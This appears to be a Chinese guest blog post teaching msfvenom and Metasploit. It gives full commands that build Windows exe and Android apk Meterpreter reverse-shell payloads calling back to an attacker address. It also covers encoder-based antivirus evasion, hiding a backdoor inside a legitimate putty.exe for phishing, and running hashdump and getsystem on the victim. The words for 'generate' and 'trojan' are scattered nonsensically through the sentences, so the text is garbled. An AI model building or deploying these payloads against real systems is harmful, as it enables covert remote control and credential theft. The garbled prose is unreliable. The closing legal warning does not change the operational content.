游客发表
打开Kali终端,生成敲下`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe`,木马回车。生成一个不到10KB的木马exe文件就躺在当前目录里了。这玩意儿能干什么?生成双击运行后,目标机器的木马Meterpreter会话就会主动连回你的监听器。整个过程不需要目标做任何额外操作,生成不需要管理员权限,木马甚至不需要用户看到任何弹窗。生成
我第一次用这命令的木马时候,心里犯嘀咕:这也太简单了吧?生成杀毒软件是吃干饭的?结果在虚拟机里跑了一下,Windows Defender确实没反应。木马当然那是生成好几年前的事了,现在Defender对默认的木马msfvenom载荷查杀率已经很高。但如果你稍微改改参数,生成比如用`-e x86/shikata_ga_nai -i 5`做五轮编码,再配合一个看起来正常的图标,很多老版本的杀软还是会被绕过去。
msfvenom这工具其实是个缝合怪。它把msfpayload和msfencode的功能合并了,省得你在两个命令之间来回倒腾。最常用的场景就是生成各种格式的后门:exe、elf、apk、php、jsp、war,甚至python脚本或者raw shellcode。格式用`-f`指定,平台用`--platform`,架构用`-a`。比如你要生成一个Android木马,命令大概是这样的:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o evil.apk 这个apk装到手机上,运行后就会连回你的Metasploit。不过Android 7以后权限收紧,很多老payload已经不好使了。你得配合社会工程学,让用户手动开启“未知来源安装”和“辅助功能”权限。纯技术手段能做的事越来越有限,这也是为什么现在红队更依赖钓鱼和诱导。
编码器这东西,别迷信。`shikata_ga_nai`是唯一一个评级为excellent的编码器,但它本质上是多态编码,不是加密。每次生成的shellcode长得不一样,但解码器存根的行为特征很明显。现代EDR盯着的是行为,不是签名。你编码一百遍,运行时该分配可执行内存还是分配,该创建远程线程还是创建。所以别指望靠编码器过卡巴斯基,那是在做梦。
真正有意思的是`-x`参数,可以把payload注入到一个已有的可执行文件里。比如你拿一个正常的putty.exe,用`-x putty.exe -k`生成一个新的putty_backdoor.exe。运行的时候putty界面正常弹出,用户以为就是个SSH客户端,实际上后门已经在后台跑起来了。这种手法在钓鱼附件里特别常见——一个看起来人畜无害的小工具,双击之后该干的活都干了,不该干的也干了。
监听端用`multi/handler`,设置一样的payload、LHOST、LPORT,然后`exploit -j`丢到后台。目标一运行木马,你就拿到session了。`sessions -i 1`切进去,`sysinfo`看看系统信息,`getuid`看看权限,`hashdump`抓抓密码哈希。如果目标没打补丁,`getsystem`提权也就是一条命令的事。
说点实际的。msfvenom生成的默认payload,在VirusTotal上基本是50%以上的查杀率。你要真拿它去打实战,得做免杀。免杀的方法五花八门:加壳、混淆、分离加载、白名单利用、甚至直接用Cobalt Strike的beacon。但那是另一个话题了。msfvenom适合什么?适合内网横向、适合快速验证、适合CTF、适合教学。拿它去钓一条大鱼,大概率是鱼没钓到,自己先被溯源了。
最后提一嘴法律。未经授权对他人系统使用msfvenom生成木马并植入,在中国刑法里对应的是非法获取计算机信息系统数据罪和非法控制计算机信息系统罪。量刑从三年以下到七年以下不等。技术本身中立,用在哪里,自己掂量。
友情链接